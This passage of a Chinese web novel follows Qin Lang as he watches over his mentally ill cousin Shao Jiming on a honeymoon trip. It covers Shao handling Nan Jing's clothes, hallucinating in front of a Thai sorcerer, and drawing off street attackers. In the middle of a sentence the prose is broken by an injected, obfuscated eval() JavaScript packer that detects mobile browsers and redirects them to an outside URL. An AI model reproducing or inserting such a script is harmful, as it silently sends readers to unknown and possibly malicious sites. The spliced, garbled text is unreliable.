走出房门,经过隔壁邵既明那扇紧闭的木门时,他脚步顿了顿。里面一丝声响也无。这么快就睡着了?秦朗心想,看来是真累了。他摇摇头,继续往外走。 然而,刚走到通往庭院的碎石小径上,一种莫名的不对劲感。没有任何具体缘由,纯粹是一种近乎野兽般的直觉。邵既明这些天太正常了,正常得近乎完美,反而让人不安。而且,以他对邵既明的了解,即便累了,在这样一个南景就在咫尺之遥的环境里,他真的能那么快、那么沉地入睡吗? 秦朗的脚步猛地停住。他站在被太阳晒得发白的小径上,眯起眼,回头看了看邵既明那扇依旧紧闭的房门,又看了看旁边低矮只及腰部的石墙。 他犹豫了不到两秒。然后,他做出了一个自己事后回想都觉得有点离谱、但此刻无比正确的决定——他没有再去敲门,也没有喊人。而是左右看了看,确认客栈主人不在视线内,然后后退几步,一个助跑,单手撑住那矮墙粗糙的顶部,利落地翻身跃了过去,轻盈地落在属于邵既明房间外的庭院角落。 他放轻脚步,凑近邵既明房间那扇装着磨砂玻璃的小窗,侧耳倾听,里面依旧一片死寂。他试着用手指沾了点唾沫,在玻璃角落不起眼的地方润湿,然后悄悄凑近那个变得略透明的小点,朝里窥视。 房间不大,一眼就能望尽。床铺整齐,行李箱靠墙放着,椅子空着。没人。 秦朗的心跳漏了一拍。不是说休息吗?人去哪儿了?客栈就这么大,前门他刚进来,没看见人出去…… 他的目光猛地转向庭院另一侧,那是南景的房间方向。两间房共享这个小小的内庭,只隔着那道矮墙和几步距离。南景房间有一扇通往庭院的旧式木质移门。 他眯起眼,逆着阳光看去,那扇深色的木门,似乎……并没有完全合拢,留下了一道幽暗的缝隙。 一股寒意倏地从脚底窜起,瞬间席卷全身。那些关于邵既明正常的假象,那些被刻意压抑的担忧,某种极其不祥的预感,在他脑海里轰然炸开。他甚至来不及细想,身体已经先于意识做出了反应。 他再次翻过矮墙,这次动作带着明显的仓促,落地时踩碎了一块松动的碎石,发出轻微的“咔嚓”声。但他顾不上这些,几个箭步冲到南景房间的移门外。那道缝隙里,没有任何光线透出,里面一片昏暗。 秦朗屏住呼吸,将脸贴近那道缝隙。 他的眼睛逐渐适应了昏暗。然后,他看到了。 房间中央,背着门口的方向,一个熟悉的身影半跪在粗糙的石板地上。浅灰色的亚麻衬衫下摆凌乱地扯出裤腰,肩膀以一种极其诡异的姿态微微耸动着。邵既明手里紧紧攥着一件米白色的棉质衣物,是南景今天穿过的T恤。但这还不是最刺眼的。在床边散落的、显然是南景刚刚换下来、还没来得及收拾的几件衣物中,邵既明的另一只手,正抓着一件深色的贴身布料,动作…… “轰!!!” 十万头草泥马,瞬间在秦朗的脑海、胸腔、乃至每一个细胞里,开始了毁天灭地、毫无章法的疯狂奔腾与践踏!眼前这超越了他所有最坏想象、荒谬绝伦的一幕,像一把烧红的烙铁,狠狠烫在了他的视网膜和理智上。 秦朗几乎是连滚带爬地从那扇没关严的移门翻进了南景的房间,动作急切又粗暴。他冲进房间的瞬间,午后的阳光正好透过窗户,明晃晃地照亮了屋内堪称诡异的景象,和他脑海里刚刚升起最糟糕的猜测。 “你妈的!!邵既明你他妈在干什么啊?在干什么!!!!” 秦朗的怒吼像炸雷一样在狭小的房间里爆开,他几步就冲了过去,眼睛赤红,额角青筋暴跳,脑子里那十万头草泥马已经不是奔腾,是直接在他脑浆里开起了泥石流嘉年华。 邵既明被他这声怒吼惊得浑身剧震,猛地转过头来。他脸上没有任何秦朗预想中被抓包的慌乱、羞耻或情?欲,只有一片空茫近乎麻木的呆滞。阳光照在他苍白的脸上,甚至能看到额角的汗。他手里还抓着那两件衣物,动作僵在那里,眼神空洞地看着暴怒的秦朗,嘴唇微微张着,像是没反应过来,又像是早已灵魂出窍。 然后,在秦朗几乎要伸手揪住他衣领把他拎起来的当口,邵既明用一种异常平静、甚至带着点茫然和困惑的语调,说出了让秦朗所有暴怒都卡 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他喘着粗气,胸膛剧烈起伏,太阳穴突突跳得像是要炸开。眼前这荒谬绝伦又悲哀至极的一幕,简直比任何商战诡计都让他难以招架。他看着邵既明那张写满茫然和废了的脸,那副拿着别人小裤自?渎(未遂)还理直气壮说自己不行的鬼样子,只觉得一股邪火混着冰水,浇得他五脏六腑都错了位。 “赶紧给我滚起来!”秦朗厉声喝道,强迫自己冷静,“现在!立刻!马上!把这些东西原样摆好!然后滚回你自己房间去!不,滚蛋!明天一早就给老子买机票滚回国!琪琪我会带着,用不着你管!” 邵既明被他吼得瑟缩了一下,但动作却慢吞吞的。他依言站起身,把被他弄乱的衣物,那件T恤,那条内?裤,还有旁边的长裤一一拿起来,抖了抖,试图按照记忆中的样子叠好,放回床边原来的位置。但他的手指不太听使唤,叠得歪歪扭扭。整个过程,他都垂着眼,嘴角抿得死紧。 摆弄完了,他却没有立刻滚。他站在原地,低着头,看着自己那双因为刚才的尝试和此刻的狼狈而微微颤抖的手,声音很低,却带着不肯放弃的执拗:“哥,我不走。” “你说什么?!”秦朗简直不敢相信自己的耳朵。 “我废了。”邵既明重复道,这次声音里带上了更清晰的绝望,但同时也奇异地平静了下来,“一个废了的人,还能干什么?我试过了,真的不行。可能……这辈子就这样了。”他抬起头,看向秦朗,那双眼睛很空洞,“让我再看看吧。哥。早晚……他会有别人的。结婚,生子,或者……别的什么人。到那时候,我可能就……真的能死心了。现在,就让我再看看。行吗?” 秦朗像被一道惊雷劈中,僵在原地。他看着邵既明,看着他那张写满了“我已经是个废物了所以让我自生自灭吧”的脸,看着他那双明明在说最绝望的话、却依旧执拗地想要再看看南景的眼睛。胸口的暴怒和羞耻感,像是被戳破的气球,瞬间瘪了下去,然后是几乎让他喘不过气的疼痛。 一个男人,亲口承认自己废了,承认在最原始最关乎男性尊严的方面,已经不行了。而这一切,都与那个他求而不得、如今近在咫尺却远在天涯的人有关。这比任何嚎啕大哭、任何崩溃自残,都更让秦朗觉得……惨。惨到骨子里,惨到连骂都骂不出口,只剩下满心窝子的酸楚和无力。 他想起邵既明少年时也曾意气风发,想起他后来在商场上杀伐决断的冷峻模样,再对比眼前这个拿着别人衣服、眼神空洞地说自己硬不起来、废了的男人…… “废什么废!”秦朗的声音哑了下去,带着一股他强撑出来的凶狠,但更多的是心疼,“走!先跟我回去!这事儿……以后再说!” 他不再给邵既明说话的机会,几乎是半拖半拽地,把依旧有些恍惚的邵既明从南景房间里弄了出来,穿过矮墙,塞回他自己的房间。 关上房门,秦朗靠在冰凉的门板上,仰着头,看着天花板上简陋的木梁,长长地吐出一口浊气,仿佛要把胸腔里所有的憋闷、愤怒、心疼和那十万头还在余震中尥蹶子的草泥马,都一起吐出去。 秦朗只觉得,这趟新婚之旅,前途真他妈是一片黑暗。不仅有个时刻可能爆炸的病患弟弟,现在这病患还自曝功能性残疾,并且铁了心要继续观摩直到心死。 这日子,没法过了。 51. 黑衣阿赞被吓到了 接下来的日子,秦朗感觉自己像个在雷区里跳踢踏舞的拆弹专家,还得时刻注意表情管理,不能让人看出脚下的地面随时可能炸开花。邵既明铁了心不走,话说到那份上,“废了”、“就想再看看”、“等他有别人”,秦朗是真不敢来硬的。他怕刺激过头,这位祖宗当场给他表演个“病情反复全景声环绕沉浸式体验”,那这趟本就不太平的新婚之旅可以直接改道送精神病院了。 操!老子结个婚是造了什么孽?!度蜜月还得兼职全职保姆兼心理危机干预员兼变态行为监控员?!别人蜜月是沙滩海浪比基尼,老子是眼观六路耳听八方,盯着个随时可能对着我大舅哥旧内?裤自言自语的定时炸弹!苍天啊!我上辈子是炸了一万个银河系吗?!这辈子要被邵既明这个恋爱脑癌晚期兼偏执狂加强版这么折磨?!小姨还打电话说“能正常点就行,随他去吧”!妈的老娘您看看!这是能“let it go~~let it go”的样子吗?!他正常?他正常个鬼!他正常会拿着别人穿过的内?裤研究自己硬不硬得起来?!这他妈是正常人该有的脑回路吗?!老子这心脏天天坐过山车,迟早得提前退休! 秦朗内心疯狂刷屏,表面还得维持一切尽在掌握的哥样。他打起十二万分精神,邵既明走哪儿,他眼风就跟到哪儿,吃饭时坐位要能同时瞥见邵既明和南景,散步时落后半步,耳朵竖得比雷达还灵,捕捉任何可能引发邵既明情绪波动的对话或声响。他觉得自己快神经衰弱了,看谁都像潜在刺激源。 但奇怪的是,日子一天天过去,邵既明就像被上了发条的精致玩偶,循规蹈矩,安分得让秦朗都觉得诡异。他不吵不闹,不哭不笑,除了对赵琪和周冉会有极淡的笑意,大部分时间安静地陪着赵琪。赵琪指着街头艺人表演,他就站在旁边看;赵琪想吃某家排长队的冰淇淋,他就默默去排队;赵琪看中某个手工小玩意儿,他负责掏钱。周到,安静,像个没有感情的陪伴机器。 他甚至开始表现出一种“正常”的社交礼仪。在咖啡馆外带时,会记得给每个人都带一杯,将南景那杯递过去时,手指平稳,眼神不会多停留半秒,声音也不会有什么变化:“你的美式,无糖。”南景通常会客气地点头接过:“谢谢。”气氛平淡得像最普通的同行者。秦朗看在眼里,心里那根绷到极致的弦,竟真的开始一丝丝、极其缓慢地松弛下来。 也许……也许那次的崩溃和自曝真是触底了?也许邵既明真的在尝试用这种正常距离来治疗自己?毕竟,南景现在对待邵既明,也完全是一种四舍五入算是周冉的亲戚、秦朗的表弟的客气态度,温和,疏离,但不再有之前的冰冷界限感。这种表面上的和平共处,似乎给了邵既明一个勉强可以立足安全的位置。 然而,只有秦朗(和他自己)知道,这平静的水面下,暗流从未停止涌动。邵既明没有再偷过南景的衣物,那次的惊吓和羞耻似乎刻进了他病态的认知里。但是...... 在南景用完餐离开后,如果那份食物或饮料还剩下一些,且周围绝对、绝对没有任何人注意,包括背对着他、正在和周冉说笑的秦朗,邵既明会以极其自然的动作,比如拿起餐巾擦嘴,或者低头看手机,迅速地将南景用过的叉子尖端在自己唇上极轻地碰一下,或者将南景喝剩的水,极其缓慢地转动一个方向,就着那残留的湿润位置,喝上一小口。又或者,在南景离开露台后,他会恰好走到南景刚才坐过的位置,指尖状似无意地拂过尚有余温的椅面,然后悄悄蜷起手指,将那点虚无的温度握进掌心。 他做得极其小心,眼神时刻留意着周围的动静,心跳如擂鼓,每一次得手,都伴随着罪恶感、自我厌弃,和一种扭曲战栗的满足。他知道秦朗的眼睛盯着他呢,稍有异动就会被发现。所以他必须“正常”,必须比任何人都正常。 他按时吃药,哪怕那些白色的小药片让他白天昏沉、夜晚多梦,甚至影响了他某些方面的功能。每当感觉到熟悉的恐慌或偏执念头开始上涌,胸口发闷,手指发冷时,他会立刻躲进洗手间,吞下应急的药物,然后独自在隔间里待到那阵不适过去,再洗把脸,对着镜子练习一下“平静”的表情,才重新走出去。 时间在秦朗的提心吊胆和邵既明隐秘的努力正常中,滑过了大半个月。他们再次启程,来到了一个规模稍大、历史底蕴混杂着旅游业喧嚣的边境城镇。这里街道更宽,游客更多,五颜六色的招牌和不同语言的叫卖声混杂在一起,空气里飘着廉价的香水味、油炸食物和汽车尾气的混合气味。建筑是不同时代的堆叠,宏伟的巴洛克教堂旁边可能就是贴着俗气霓虹灯的小酒吧。治安显然不如之前那些宁静小镇,街上能看到巡逻的警察,也能看到一些眼神游移、在人群中穿梭的“专业人士”。 他们入住了一家位于老城区边缘的老酒店,还算不错,位置很便利便利,出门就是热闹的市集和主街。 放下行李,赵琪又坐不住了,趴在窗口看着楼下人流如织的集市,兴奋地指着远处一个卖彩色编织毯的摊位:“大表嫂!你看那个!好漂亮!我们下去看看吧!听说晚上广场还有弗拉明戈表演!” 周冉被连日的奔波也闷坏了,点头同意。南景无可无不可,拿起相机。秦朗自然紧随。邵既明依旧安静地表示同行。 一行人汇入黄昏前嘈杂的集市人流。这里比之前去过的任何一个集市都更拥挤、更喧嚣。摊贩的吆喝声、游客的讨价还价声、街头艺人的鼓点声、还有不知何处飘来的手风琴呜咽,混成一片巨大的声浪,几乎要淹没彼此的交谈。空气中充斥着香料、皮革、烤坚果、廉价香水和人体的气味。 秦朗下意识地靠近周冉,手臂虚环在她身侧,挡住可能的人流冲撞。南景也走在赵琪外侧,目光警惕地扫过周围过于密集的人群。邵既明跟在稍后一点,目光低垂,似乎在避免与任何陌生人对视,手指蜷在身侧。 “大表嫂!你看这个银镯子!花纹好奇特!”赵琪在一个卖旧货的摊子前蹲下,拿起一个看起来有些年头的银镯。 周冉凑过去看,秦朗也跟着俯身,目光却被旁边一个挤过来看铜器的彪形大汉挡了一下。就在这一瞬间—— “啊!”赵琪短促地惊叫一声,手里的银镯“当啷”掉在地上。她猛地站起身,捂住自己随身的斜挎小包,脸色有些发白,“有人……撞了我一下,好像……拉我包链了!” 秦朗和南景脸色同时一变。秦朗立刻将周冉往身后一带,目光锐利地扫向赵琪周围。人群依旧嘈杂涌动,看不出具体是谁。南景则迅速蹲下,捡起那个银镯,目光快速检查赵琪的包,链子确实被拉开了一半,好在包里东西似乎没少。 “没事吧,琪琪?”周冉扶住赵琪的肩膀,眉头皱起。 “没、没事……好像没丢东西,就是吓了一跳。”赵琪惊魂未定,拍拍胸口。 “这地方人太杂了,都小心点,看好自己的东西。”秦朗沉声道,将周冉搂得更紧了些,目光再次扫过周围。他注意到,就在赵琪惊呼的瞬间,似乎有两三个身影快速融入了对面的人流,消失不见。 南景也站起身,将银镯还给摊主,对赵琪低声道:“跟紧点,别离太远。” 这个小插曲让原本还算轻松的气氛蒙上了一层阴影。他们继续往前走,但步伐更紧凑,警惕性更高。邵既明不知何时已经走到了赵琪的另一侧,沉默地隔开了部分人流,他的脸色在街灯下显得比平时更白,嘴唇抿成一条直线。 集市持续不断的声浪、摩肩接踵的人群、刺鼻的气味……所有这些因素叠加在一起,如同无数细小的针,持续不断地刺扎着邵既明本就脆弱不堪的神经屏障。 他开始感到耳鸣,那声音起初像远处的蜂群,渐渐变得尖锐,盖过了周遭的喧嚣。视线边缘出现闪烁不规则的彩色光斑,像坏掉的电视雪花屏。胸口发闷,每一次呼吸都需要刻意加深,却仍觉得氧气不足,喉咙发紧。熟悉的、冰冷的恐慌感从脚底开始上涌,带来一阵阵细微的战栗。他知道,极限快到了。再待下去,他可能会在人群里失控,会让秦朗立刻把他打包扔回国,会……让南景看到更不堪的样子。 “哥。”他停下脚步,声音有些发紧,在嘈杂的背景音里几乎听不清。他抬手,用力按了按突突直跳的太阳穴,脸色苍白得近乎透明,额角渗出细密的冷汗。 走在前面的秦朗闻声回头,看到邵既明的模样,心里立刻咯噔一下。那表情他太熟悉了,是药物和意志力即将压不住崩溃前兆的迹象。 “我不太舒服,”邵既明避开秦朗审视的目光,垂下眼帘,盯着自己微微颤抖的鞋尖,语速尽量平稳,“可能……人太多了。我想先回酒店休息。” 秦朗皱紧的眉头松开了些,甚至闪过欣慰。行啊小子,有长进!知道不舒服了,不硬撑,不闹腾,自己主动要求回去吃药睡觉!这说明自我认知和调节能力上来了啊!他立刻点头,拍了拍邵既明的肩膀:“行,赶紧回去。药记得吃,好好睡一觉。”酒店房间都是都单独的房间,不担心他会作什么幺蛾子。 邵既明点了点头,没再多说,转身,有些僵硬地、逆着稀疏了些的人流,朝着旅馆的方向走去。 秦朗看着他走远,摇摇头,转身追上已经走到前面摊位去看手工皮具的周冉他们。 …… 邵既明踏上最后一级石阶,走进三楼这条格外幽暗僻静的走廊。他的耳鸣更严重了,那尖锐的声音几乎要刺穿耳膜,眼前的光斑扩大、旋转,让本就昏暗的走廊景物变得扭曲、重叠。胸口憋闷得厉害,心脏跳得又重又快,像是要挣脱胸腔的束缚。那种熟悉的、灵魂即将脱离躯壳的抽离感,再次袭来。 他扶着冰冷粗糙的墙壁,勉强走到自己房间门口。摸出房卡,手抖得厉害,试了两次才对准感应区。 “嘀。” 门锁开了。但他没有立刻推门进去。 他就站在那扇深色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046502|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧木门前,微微侧过头,对着身旁空无一物被壁灯投下一片浓重阴影的墙角,用一种极温柔语气,低声开口:“南景,你也累了?是不是?刚才集市太吵了。” 他顿了顿,似乎在倾听并不存在的回应,然后轻轻点了点头,嘴角扯出一个极其虚幻的弧度,眼神有些涣散,却又奇异地专注,仿佛真的“看”着某人:“嗯,我知道。” 就在这时,走廊另一端,一扇房门悄无声息地打开了。一个身材矮小、皮肤黝黑、穿着暗紫色传统束腰上衣、脖子上挂着好几串古怪骨饰和干枯草药的老者走了出来。他面容枯瘦,眼窝深陷,眼神却异常锐利阴鸷,在昏暗光线下如同夜枭。这是一位来自东南亚、在此地下榻的黑衣阿赞。 他原本只是例行进行晚间的某种仪式准备,却冷不丁看到走廊尽头,一个穿着体面、但脸色苍白如鬼的年轻东方男子,正对着空荡荡的墙角自言自语,神情温柔,还抬手对空气道别。 降头师的脚步猛地顿住,浑浊却犀利的眼睛瞬间眯起,死死盯住邵既明,以及他面对的那片空气。他缓缓抬起枯瘦如鸡爪的手,指尖捻动着脖子上的一颗风干兽牙,嘴唇无声地翕动,似乎在进行某种探查。 没有。 没有小鬼跟随的阴冷气息。 没有契约束缚的灵力波动。 甚至连最低等的地缚灵或游魂的残留痕迹都没有。 那片墙角,除了石头、阴影和灰尘,空空如也。 降头师的眉头紧紧皱起,枯瘦的脸上闪过一丝疑惑,随即又被更深的阴鸷取代。他行走江湖多年,见过各种装神弄鬼、故弄玄虚之辈,但眼前这年轻人的状态……不像是装的。那眼神里的温柔和专注,那对着空气自然无比的低语和挥手,若非真有东西在侧,便是…… 他脑中迅速闪过东方那个古老国度关于道法、养鬼、御灵的种种可怕传闻。难道……是某种极其高深、连他都无法察觉的隐灵或本命灵?或者是更诡异与自身魂魄半融合的伴生之物?所以气息才如此内敛,近乎于无? 他盯着邵既明那张苍白却平静的侧脸,又看了看那片依旧空荡荡的墙角,心底升起一股寒意……竟然有些忌惮。他冷哼一声,干瘪的嘴唇撇了撇,用泰语低声咒骂了一句什么,大意是“东方的邪术,果然诡秘难测”。 但他行走江湖的规矩,便是井水不犯河水,尤其是面对可能比自己更诡异难缠的存在。他收敛了所有探查的意图,甚至微微调整了一下站姿,让自己显得不那么具有攻击性。 就在邵既明说完,准备转身时,他似乎察觉到了降头师的注视,他再次侧过头,目光涣散地扫过站在走廊另一端阴影里的降头师。 四目相对。在降头师阴鸷警惕的注视下,邵既明非常自然、甚至带着一丝被打扰后的淡淡不悦,对着降头师的方向,冷淡而矜持地,轻轻点了一下头。那点头的幅度极小,速度极快,带着一种居高临下属于“圈内人”的疏离与礼貌,仿佛在说:“看见了,同道?没事就别盯着看了。” 走廊另一端,降头师僵在原地,枯瘦的脸上表情变幻不定。刚才那年轻人看他那一眼,让他心底那点忌惮更深了。还有那冷淡的点头……是警告?还是示意彼此心照不宣? 他捻着兽牙的手指微微用力。高手。绝对是深藏不露的高手。能将灵或鬼豢养操控到如此不着痕迹、宛如无物的地步,甚至连他这样经验丰富的黑衣阿赞都丝毫察觉不到端倪……此人的道行,恐怕深不可测。他再次冷哼一声,这次却带上了几分悻悻和谨慎,对着邵既明房,也依循他们这行的某种古老规矩,微微颔首,行了一个简短而古怪的、表示“无意冒犯,各行其是”的礼节。 然后,他不再停留,转身迅速消失在走廊另一头的黑暗里。 然后,邵既明也推开房门,走了进去,轻轻关上了门。 “砰。” 轻微的关门声在寂静的走廊里回响。 厚重的木门内,邵既明背靠着冰凉的门板,缓缓滑坐在地。他紧紧闭着眼,双手抱住疼痛欲裂的头,身体因为强烈的眩晕和幻觉残留的抽离感而无法控制地颤抖。他从口袋里摸出应急药盒,哆嗦着倒出药片,干咽下去。苦涩的味道在口腔弥漫。 他根本不知道门外刚刚发生了一场怎样惊心动魄(单方面)的“高手交锋”。在他的世界里,刚才只是和“南景”在走廊道别,顺便瞥见了一个打扮奇怪的陌生人而已。 如果那位自诩见多识广、此刻正心有余悸的泰国降头师知道,他刚才毕恭毕敬行礼的对象,只是一个抑郁症加重度癔症发作、对着空气幻想前男友的可怜病人,恐怕会当场气得吐血三升,把脖子上挂的那些宝贝骨饰和草药全都扔进湄公河喂鱼。 这大概就是世界上最遥远的距离——你以为是深不可测的东方秘法对决,其实只是一个人,在精神世界的狂风暴雨里,对着自己心造幻影,艰难地寻求一点虚幻的温暖与平静。 52. 火葬场门口了 手机在昏暗的房间里嗡嗡震动,屏幕冷白的光照亮了邵既明沉睡中依旧微蹙的眉头。他动了动,从药物带来的深沉但并不安宁的睡眠中挣扎着醒来,摸索着抓过手机。是秦朗。 “喂,哥。”他清了清嗓子,声音带着刚醒的沙哑。 “醒了?感觉好点没?”秦朗的声音从那头传来,背景是隐约的杯盘碰撞和谈笑声,“我们在老城广场旁边这家叫‘橡木桶’的餐厅,位置发你了。南景下午也先回酒店了,说拿个镜头。你俩正好一起过来吧,在大堂碰头。” “嗯,好。我洗把脸就下去。”邵既明应道,撑着坐起身。药效过后残留的昏沉和肌肉的酸软还在,但那种恐慌和扭曲的幻觉已经退潮,思维恢复了清晰的表层,尽管底下依旧暗流涌动。他看了一眼窗外,天色已经彻底暗了下来,远处广场方向的天空被霓虹染成一片模糊的紫红。 邵既明换了一身干净的浅色休闲装,头发微湿,脸色依旧有些苍白,但眼神清明。他走下回旋的石阶,到大堂时,南景已经等在那里了。 南景背着一个黑色的相机包,靠在接待处那张老橡木桌旁,低头看着手机屏幕。听到脚步声,他抬起头,看到邵既明,点了下头。 “等很久了?”邵既明走过去。 “刚到。”南景收起手机,目光在邵既明脸上短暂停留,似乎确认他状态尚可,“秦朗发位置了,导航显示步行二十二分钟。这个时间,这里打车不容易,也没打车软件。” 他陈述着事实,将选择权抛了出来,但意思很明显。 邵既明几乎没有犹豫,点了点头:“走过去吧,不远。”南景说走,那就走。他甚至没有去看手机上的具体路线。能和他这样并肩走在异国的夜晚,走一段路,已经是偷来的时光。 两人走出旅馆的大门,晚风带着市集的余温和小吃摊残留的油腻气味扑面而来。主街上灯火通明,游人如织,喧嚣扑面。南景看了一眼手机导航,示意了一个方向,率先拐进了一条与主街垂直相对安静的岔路。 “导航推荐这条近路,穿过这片老居民区,能快一些。”南景边走边说。 邵既明“嗯”了一声,跟上。起初,道路还算宽阔,两旁是紧闭的店铺卷帘门和一些底层亮着灯光的普通住宅,窗户里传出电视声或炒菜声。但越往里走,街道越发狭窄曲折,灯光也迅速稀落下来。高高的、墙皮剥落的居民楼挤在一起,遮挡了大部分月光和远处霓虹的漫射光。路灯是老旧的款式,间隔很远,且十个里至少有六个要么完全不亮,要么只剩下一点苟延残喘的、随时会熄灭的昏黄光晕,在浓稠的黑暗里如同鬼火。地面是坑洼不平的石板路,缝隙里长着湿滑的苔藓。空气变得阴凉,带着垃圾陈腐、潮湿墙壁和猫狗排泄物的混合气味。 只有他们两人的脚步声在狭窄的巷弄里回响,清晰得有些瘆人。邵既明的神经不由自主地再次绷紧,但他强迫自己将注意力放在南景挺拔的背影上,放在两人之间保持着礼貌的一步距离上。 然而,渐渐地,另一种声音掺杂了进来。 起初很轻微,像是错觉,是远处某个拐角传来的与他们步伐节奏不完全一致拖沓的脚步声。接着,那声音似乎多了起来,变得杂乱,从后方,或许还有侧方的某条岔巷里隐隐传来。不是一两个人,更像是好几个人,脚步轻重不一,但速度似乎……在调整,在向他们靠近。 邵既明和南景几乎同时放缓了脚步,竖起耳朵。两人都没有说话,但身体语言瞬间绷紧。南景握紧了相机包的背带,邵既明插在裤袋里的手,缓缓抽了出来。 后面的脚步声也慢了,仿佛在试探,在确认猎物的警觉性。但距离显然在缩短。 南景猛地加快脚步,低声说了句:“走快点。” 邵既明立刻跟上。两人的步伐从行走变成了快走,皮鞋和靴底敲击石板的声音在寂静的巷子里变得密集而清晰。 “嗒、嗒、嗒、嗒……” 几乎在他们加速的下一秒,身后的脚步声也骤然提速!而且,听起来人数更多了!不止后方,侧面似乎也有杂乱的脚步在包抄!那些脚步更快,更熟悉地形。 “跑!”南景低喝一声,甩开步子跑了起来。 邵既明紧跟在他身侧,心脏在胸腔里狂跳,肾上腺素和未散的药力,让他的感官变得异常敏锐,又带着一种不真实的抽离感。耳边的风声,自己粗重的呼吸,身后越来越近、夹杂着粗野口哨和听不懂语言叫嚣的追逐声,还有这迷宫般、似乎永无尽头的黑暗巷弄…… 他们拐过一个急弯,眼前是另一条更窄、更黑、堆满杂物和废弃家具的死胡同分支!南景脚步一顿,迅速判断方向,拉着邵既明冲向左边一条稍微宽些的巷子。但身后的脚步声已经近在咫尺,甚至能听到粗重的喘息和金属刮擦墙壁的刺耳声音。 “不行,甩不掉!他们人太多了,对这里比我们熟!”南景急促地说道,额角在昏暗的光线下渗出汗水,他环顾四周,目光搜索着任何可以藏身或突围的缺口。 邵既明也在剧烈喘息,但他的大脑在极致的压力和某种豁出去的决绝中,反而陷入了一种异常的清醒。他看向南景,在这生死攸关的混乱时刻,他的目光落在南景脸上。 “南景,”邵既明的声音在奔跑的喘息中显得异常平稳,他猛地拉住南景的手臂,指向旁边两栋楼之间一个极其狭窄堆满破损木箱和垃圾袋的凹陷死角,“你躲进去!别出来!我去引开他们!” “你说什么胡话!”南景想甩开他的手,眼神凌厉,“一起走!” “一起走不了!”邵既明猛地用力,将南景往那个死角一推!力道之大,让南景猝不及防,踉跄着跌进那片阴影和杂物之中。“他们目标可能是我们两个外地人,分开了,你安全,我去绕,找机会甩掉!” “邵既明!你回来!”南景压低声音吼道,试图从杂物中挣脱出来。 邵既明却已经后退两步,挡在了那个凹陷的死角前。他转过身,背对着南景,面对着巷子那头已经隐约可见的、幢幢逼近的黑影。昏黄残破的路灯光晕勾勒出他挺直却单薄的背影。然后,他做出了一个让南景血液几乎凝固的动作—— 他抬起手,对着那群越来越近看不清面目但显然不怀好意的黑影,竖起了中指。 接着,他用足以让那边听清带着明显挑衅和蔑视的语调,清晰地吐出一句:“Hey, motherfuckers! Catch me if you can! 说完,他最后侧头,飞快地瞥了一眼阴影中南景震惊的脸。在那一瞬间,南景看到邵既明脸上竟扬起了一个极其短暂、却异常明亮、甚至带着点少年般飞扬恣意的笑容,那笑容在昏暗光线下显得有些不真实,却灼人眼目。 然后,邵既明用口型,无声地,对他飞快地说了一句什么。 下一秒,他猛地转身,像一头蓄势已久的猎豹,爆发出惊人的速度,朝着与南景藏身地相反的方向,那条看起来稍微亮一点的巷子,义无反顾地、全力冲了进去!脚步踏在石板上的声音干脆利落,瞬间远去。 “?Allá!” “?Corre!” “?Atrapadlo!” 杂乱的怒吼和脚步声轰然响起,瞬间朝着邵既明消失的方向汹涌追去。沉重的脚步、污秽的叫骂、金属拖拽的声音……汇成一股令人胆寒的声浪,迅速掠过南景藏身的角落,朝着巷子深处席卷而去。 几秒之内,近在咫尺的追击者消失得一干二净,只有那令人心悸的喧嚣迅速远去、变淡。巷子里重新被令人窒息的寂静笼罩,只剩下远处隐约奔跑的脚步声。 南景背靠着冰冷潮湿的墙壁,躲在腐烂木箱和垃圾袋令人作呕的气味中,心脏在胸腔里疯狂擂鼓。他死死咬着牙,才没让自己冲出去。邵既明最后那个笑容,和那句无声的话语,像烙铁一样烫在他的视网膜和脑海里。 他说的是,“大学田径队,猎豹,记得吗?” 南景不知道在原地僵硬地屏息凝神了多久,直到远处所有的脚步声、叫骂声都彻底消失,巷子重新被死寂统治。他才小心地从藏身之处挪出来。 他不敢耽搁,甚至顾不上拍掉身上的灰尘和蛛网,立刻拿出手机,用微微颤抖的手指点亮屏幕,凭着记忆和方向感,朝着秦朗餐厅的大致方位,拔腿就跑!他从未跑得如此不顾一切,运动鞋在湿滑不平的石板路上几次打滑,他也只是踉跄一下,立刻调整,继续狂奔。 他不知道自己跑了多久,也许只有几分钟,却像一个世纪那么漫长。当他终于看到前方熟悉的广场灯火,看到“橡木桶”餐厅的灯光和露天座位上的人影时,肺叶像要炸开,喉咙里全是铁锈味。 他几乎是撞开餐厅低矮的铸铁围栏,踉跄着冲到秦朗他们那张桌子前。周冉和赵琪正在分享一大份海鲜饭,秦朗举着啤酒杯,脸上还带着笑意,看到南景这副模样,笑容瞬间僵在脸上。 “南景?!”周冉率先站起来。 南景双手撑在桌沿,胸膛剧烈起伏,脸色煞白,额发被汗水浸湿贴在额前,他抬起头,看向秦朗:“邵既明……出事了。我们被盯上,他引开人,让我先跑……至少……十个人追他……往老城西边深处跑了……快!” “啪!” 秦朗手里的玻璃杯掉在石板地上,摔得粉碎,琥珀色的酒液四溅。他脸上的血色瞬间褪得干干净净,猛地站起身,椅子被他带倒。他一把抓住南景的肩膀,力道大得吓人:“你说什么?!再说一遍?在哪儿?!什么时候?!” 南景快速重复了地点和情况。秦朗听完,松开手,胸口剧烈起伏了几下,眼神里的暴怒和恐慌几乎要化为实质。他强迫自己冷静,转头对周冉,声音是前所未有的严厉:“周冉,听着,带琪琪,和南景一起,立刻回旅馆!锁好门!我没回去之前,任何人不准离开房间半步!听到没有?!” “秦朗你……”周冉也意识到了事情的严重性。 “照我说的做!”秦朗厉声打断她,不再解释,迅速拿出手机,“我现在报警,然后去找他。南景,保持手机畅通!” 说完,他不再看任何人,一边快速拨通报警电话,用流利但语速极快的西班牙语向接线员说明情况、提供尽可能详细的位置信息,一边已经迈开大步,朝着南景来的方向,狂奔而去。 南景带着惊魂未定的周冉和赵琪,在广场边缘好不容易拦了出租车,回到了那家酒店。一路上,三人都沉默着,只有赵琪偶尔压抑的抽噎和周冉低声的安抚。 